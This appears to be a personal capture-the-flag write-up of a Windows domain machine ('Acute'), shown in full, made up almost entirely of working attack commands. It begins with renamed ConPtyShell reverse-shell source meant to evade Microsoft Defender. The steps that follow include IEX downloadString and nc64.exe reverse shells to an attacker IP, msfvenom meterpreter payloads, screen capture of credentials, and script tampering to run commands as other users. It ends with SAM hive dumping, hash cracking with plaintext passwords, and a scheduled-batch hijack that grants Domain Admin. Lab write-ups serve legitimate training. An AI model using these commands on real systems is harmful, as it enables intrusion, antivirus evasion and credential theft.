        private static string ParseCommandLine(string[] arguments)
        {
            string commandLine = "powershell.exe";
            if (arguments.Length > 4)
                commandLine = arguments[4];
            return commandLine;
        }
    
        public static string collinhacksMain(string[] args)
        {
            string output = "";
            if (args.Length == 1 && HelpRequired(args[0]))
            {
                DisplayHelp();
            }
            else
            {
                string remoteIp = "";
                int remotePort = 0;
                bool upgradeShell = false;
                try
                {
                    CheckArgs(args);
                    if (args[0].Contains("upgrade"))
                        upgradeShell = true;
                    else
                    {
                        remoteIp = CheckRemoteIpArg(args[0]);
                        remotePort = CheckInt(args[1]);
                    }
                    uint rows = ParseRows(args);
                    uint cols = ParseCols(args);
                    string commandLine = ParseCommandLine(args);
                    output = collinhacks.Spawncollinhacks(remoteIp, remotePort, rows, cols, commandLine, upgradeShell);
                }
                catch (Exception e)
                {
                    Console.WriteLine("\n" + e.ToString() + "\n");
                }
            }
            return output;
        }
    }
    
    class MainClass
    {
        static void Main(string[] args)
        {
            Console.Out.Write(collinhacksMainClass.collinhacksMain(args));
        }
    }
    
    "@;
    
  1. Also replace ConPtyShell all over with collinhacks, do a search and replace in nano with Alt R

    Untitled

    Untitled

  2. Following the repo:

    1. Local: stty raw -echo; (stty size; cat) | nc -lvnp 9001
    2. http
    3. Target: IEX(New-Object Net.WebClient).downloadString("http://10.10.16.4/rev.ps1")
      1. let it run, might take a bit
    4. collinhacks <tun0> 9001
      1. remember, collinhacks replaces Invoke-ConPtyShell so we can evade microsoft defender

    Untitled

winpeas

https://github.com/carlospolop/PEASS-ng/releases/tag/20230827-2ed3749a

  1. Grab latest of winpeas
  2. cd C:\Utils
  3. wget -o winpeas.exe http://<tun0>/winPEASany.exe
  4. .\winpeas.exe
  • Point of interests

    Untitled

Untitled

  • C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt

Untitled

More:

Untitled

take session to metasploit

  1. Local:

    1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=9002 -f exe -o metasploit.exe
    2. http
  2. Target:

    1. wget -o metasploit.exe http://<tun0>/metasploit.exe
  3. Local:

    1. msfconsole
    2. use exploit/multi/handler
    3. set payload windows/x64/meterpreter/reverse_tcp
    4. set LHOST tun0
    5. set LPORT 9002
    6. exploit -j
  4. Target:

    Make sure you are in C:\Utils

    1. .\metasploit.exe

Untitled

  1. Local:
    1. sessions -i 1

pivot to msedge.exe

  1. In my screenshots we can see the PID over msedge.exe is 4276. We can migrate to this within metasploit and then look at it better to exploit it.
    1. migrate 4276
  2. screenshot

Untitled

  • Ran screenshot a few times, cuz I did it again after the first one was a desktop, then it popped up a powershell.

  • 1

    Untitled

  • 2

    Untitled

  • 3

    Untitled

  1. In the 3rd screenshot, we actually seee credentials for imonks:W3_4R3_th3_f0rce.
  2. screenshare will make an html file and actively just show us what is happening on the monitor
  3. In these photos we see certain strings being executed, let’s do them locally.

Untitled

authenticate as imonks : W3_4R3_th3_f0rce. with passwd & cred so we can execute Invoke-Command

  1. Run the commands
PS C:\Utils> $passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)
PS C:\Utils> Enter-PSSession -ComputerName ATSERVER -Credential $cred
Enter-PSSession : Connecting to remote server ATSERVER failed with the following error message : WinRM cannot       
process the request. The following error occurred while using Kerberos authentication: Cannot find the computer     
ATSERVER. Verify that the computer exists on the network and that the name provided is spelled correctly. For more  
information, see the about_Remote_Troubleshooting Help topic.
At line:1 char:1
+ Enter-PSSession -ComputerName ATSERVER -Credential $cred
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (ATSERVER:String) [Enter-PSSession], PSRemotingTransportException    
    + FullyQualifiedErrorId : CreateRemoteRunspaceFailed
 
PS C:\Utils> Enter-PSSession -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Enter-PSSession : The term 'Measure-Object' is not recognized as the name of a cmdlet, function, script file, or 
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and    
try again.
At line:1 char:1
+ Enter-PSSession -ComputerName ATSSERVER -ConfigurationName dc_manage  ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Measure-Object:String) [Enter-PSSession], CommandNotFoundException   
    + FullyQualifiedErrorId : CommandNotFoundException

Untitled

  1. Now we need to fix the Measure-Object error
    1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { Get-Command }

Untitled

we are in the imonks user directory now

  1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { pwd }

Untitled

  1. { get-childitem - force . } shows us directories
  2. { get-childitem -force ../Desktop }

Untitled

  1. Executed wm.ps1 with { C:\Users\imonks\Desktop\wm.ps1 }
  2. { cat C:\Users\imonks\Desktop\wm.ps1 }

Untitled

  1. { net user jmorgan } to identify it more
PS C:\Utils> Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { wh
oami }
acute\imonks
PS C:\Utils> Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ne
t user jmorgan }
User name                    jmorgan
Full Name                    Joshua Morgan
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            21/12/2021 23:48:37
Password expires             Never
Password changeable          22/12/2021 23:48:37
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   29/08/2023 03:48:30

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.
  1. net localgroup administrators
PS C:\Utils> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
ACUTE\Domain Admins
ACUTE\jmorgan
Administrator
The command completed successfully.

exploiting $cred function to give us a reverse shell (can also give edavies local admin)

  1. So in $cred we have a specific function in braces that we can fulfill with pretty much anything and it will exploit as jmorgan. We can take this idea and make our own exploit out of it. Which is what we have been doing. Now we need to put a reverse shell script that takes wm.ps1 and exploits it but inside of the .

Untitled

  1. ((cat C:\Users\imonks\Desktop\wm.ps1 -Raw) -replace 'Get-Volume', "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/rev.ps1')") | sc -path C:\Users\imonks\Desktop\wm.ps1 this is the raw command
    1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ((cat C:\Users\imonks\Desktop\wm.ps1 -Raw) -replace 'Get-Volume', "IEX(New-Object Net.WebClient).downloadString('http:[//10.10.16.4/rev.ps1](notion://10.10.16.4/rev.ps1)')") | sc -path C:\Users\imonks\Desktop\wm.ps1 } raw command but inside of Invoke-Command
  2. Now if we cat wm.ps1 we will see we changed the $cred value.

Untitled

  1. Got some weird errors need to remove the IEX calls with just download and downloadString
    1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ((cat C:\Users\imonks\Desktop\wm.ps1 -Raw) -replace "download", "downloadString('[http://10.10.16.4/rev.ps1](http://10.10.16.4/rev.ps1)')") | sc -path C:\Users\imonks\Desktop\wm.ps1 }
  2. Run it
    1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { C:\Users\imonks\Desktop\wm.ps1 }
    2. error

using nc64.exe instead of rev.ps1

  1. wget -o nc64.exe [http://10.10.16.4/nc64.exe](http://10.10.16.4/nc64.exe)
  2. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ((cat C:\Users\imonks\Desktop\wm.ps1 -Raw) -replace 'Get-Volume', "C:\utils\nc64.exe -e cmd 10.10.16.4 9002')") | sc -path C:\Users\imonks\Desktop\wm.ps1 }
    1. local 9002 listener
  3. Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

alternative: make edavies a net localgroup administrators

  1. Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock {((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','net localgroup administrators edavies /add') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred
    1. Executing a command as imonks to add edavies to the administrators group
  2. Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Get-Content c:\users\imonks\Desktop\wm.ps1} -credential $cred

Untitled

  1. Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock{C:\Users\imonks\Desktop\wm.ps1} -Credential $cred
    1. Execute wm.ps1

Untitled

  1. Log out and log back in on https://atsserver.acute.local/Acute_Staff_Access/en-US/console.aspx
    1. Local: stty raw -echo; (stty size; cat) | nc -lvnp 9001
    2. http
    3. Target: IEX(New-Object Net.WebClient).downloadString("http://10.10.16.4/rev.ps1")
      1. let it run, might take a bit
    4. collinhacks <tun0> 9001
      1. remember, collinhacks replaces Invoke-ConPtyShell so we can evade microsoft defender

Root

Utilizing HKLM\sam and HKLM\system

  1. As a local admin on Acute-PC01 now, we can create a backup of the registry SAM hive. We want to extract the hashes of all users from HKLM\

    1. reg save HKLM\sam sam
    2. reg save HKLM\system system

    Untitled

    Untitled

  2. So these files are now going to be turned into sam and system. Sadly I think the path of this box is to use meterpreter's session earlier to do:

    1. download sam (sam is the file, remember, same with system)
    2. download system
      1. This will just bring it to our machine so we can crack it easier.

Untitled

dumping the hive information

  1. Locally now we have sam and system downloaded. We can use secretsdump.py which is a tool to dump the hashes of these HKLM files.
  2. secretsdump.py -system system -sam sam LOCAL
$ secretsdump.py -system system -sam sam LOCAL2
Impacket v0.10.1.dev1+20230728.114623.fb147c3f - Copyright 2022 Fortra

[*] Target system bootKey: 0x44397c32a634e3d8d8f64bff8c614af7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
[*] Cleaning up...
  1. We can now attempt to crack this baby lets go, this is NTLM but hashcat will figure that out
    1. copy Admin → Natasha all 5 hashes into a file

    2. hashcat local-SAM-hashes --wordlist /usr/share/wordlists/rockyou.txt

      Untitled

Password@123

And this is the admin hash it cracked

  • Tried logging in to the Powershell Web Access portal with these credentials but it did not work. I’m assuming a different user is Administrator rather than the actual just username “Administrator”
  1. net user as edavies local admin shows me this:

Untitled

  1. So we try it as imonks now:
    1. $passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
    2. $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)
    3. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { net users }

Untitled

  1. awallance seems to be the Administrator. I tried it into the Web Powershell but it didn’t work.
  2. Why not just do $passwd and $cred but as awallace's credentials? Should be fine
    1. $passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
    2. $cred = New-Object System.Management.Automation.PSCredential ("acute\awallace",$passwd)
    3. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { whoami }

Untitled

  • Nice, this is using the same functionality as imonks was using but we replaced the credentials with awallace's credentials.

we are now awallace, so time to go to root

  • Couldn’t get a reverse shell, so manual enumeration it is.
  1. Going through my Windows Privilege Escalation, checking C:\Program Files had an interesting directory in it
    1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ls "C:\Program Files" }

Untitled

  1. Hyper-V and keepmeon get my attention.
    1. First I looked into keepmeon
      1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { cat "C:\Program Files\keepmeon\keepmeon.bat" }

Untitled

  • This script is executing every 5 minutes and is searching for all .bat files in the current directory and subdirectories, and is executing all of those .bat files except for the one for where the script is currently running. Thanks ChatGPT.
  1. To exploit this, we probably just make a .bat reverse shell in a subdirectory and then wait for 5 minutes for it to pop
    1. Local: msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.16.4 LPORT=9004 > shell.bat
    2. Target: Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { Set-Content -Path 'C:\Program Files\keepmeon\shell.bat' -value 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.4/shell.bat")' }

Untitled

  1. We can see in the screenshot there is my shell.bat in C:\Program Files\keepmeon\ so now we wait with a listener on 9004
    • it’s been more than 5 minutes fuck

reverse shell 2

  1. nano shell2.batpowershell "IEX(New-Object Net.WebClient).downloadString("http://10.10.16.4/rev.ps1")"
    1. This will grab rev.ps1 from my local machine which is just a reverse shell in powershell
  2. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { Set-Content -Path 'C:\Program Files\keepmeon\shell2.bat' -value 'powershell "IEX(New-Object Net.WebClient).downloadString(\"http://10.10.16.4/shell2.bat\")"' }
  • Now ideally I should be able to wait 5 minutes for a shell to pop to 9001 locally
    • didnt work lets goo lets just live off the land i cant be fucked

instead of doing it to a reverse shell let’s just set awallace as a Domain Admin

  1. Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\thirdtimesacharm.bat' -Value 'net group site_admin awallace /add /domain'} -Credential $cred
    1. This will create a thirdtimesacharm.bat file that is executing net group site_admin imonks /add /domain

Untitled

  • wait 5 minutes
  1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { net group "Domain Admins" awallace /add /domain }
    1. Now since 5 minutes has passed, awallace has permission to add himself as a Domain Admin.

Untitled

  1. Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { net group "Domain Admins" /domain }
    1. This will list the Domain Admins

Untitled

We see awallace is now a Domain Admin. We should be able to read every file on the machine now, idek where user.txt is lol - it’s on imonks desktop

Untitled

Untitled


Useful resource links

ConPtyShell for reverse shell on windows systems https://github.com/antonioCoco/ConPtyShell

Lessons Learned

C:\Utils is like the linux equivalent of /tmp

Learned how to exploit sam and system hive backups

Learned how to use ConPtyShell

Learned how to pivot to processes with metasploit

Learned how to run commands as other users using Invoke-Command while specifying their credentials,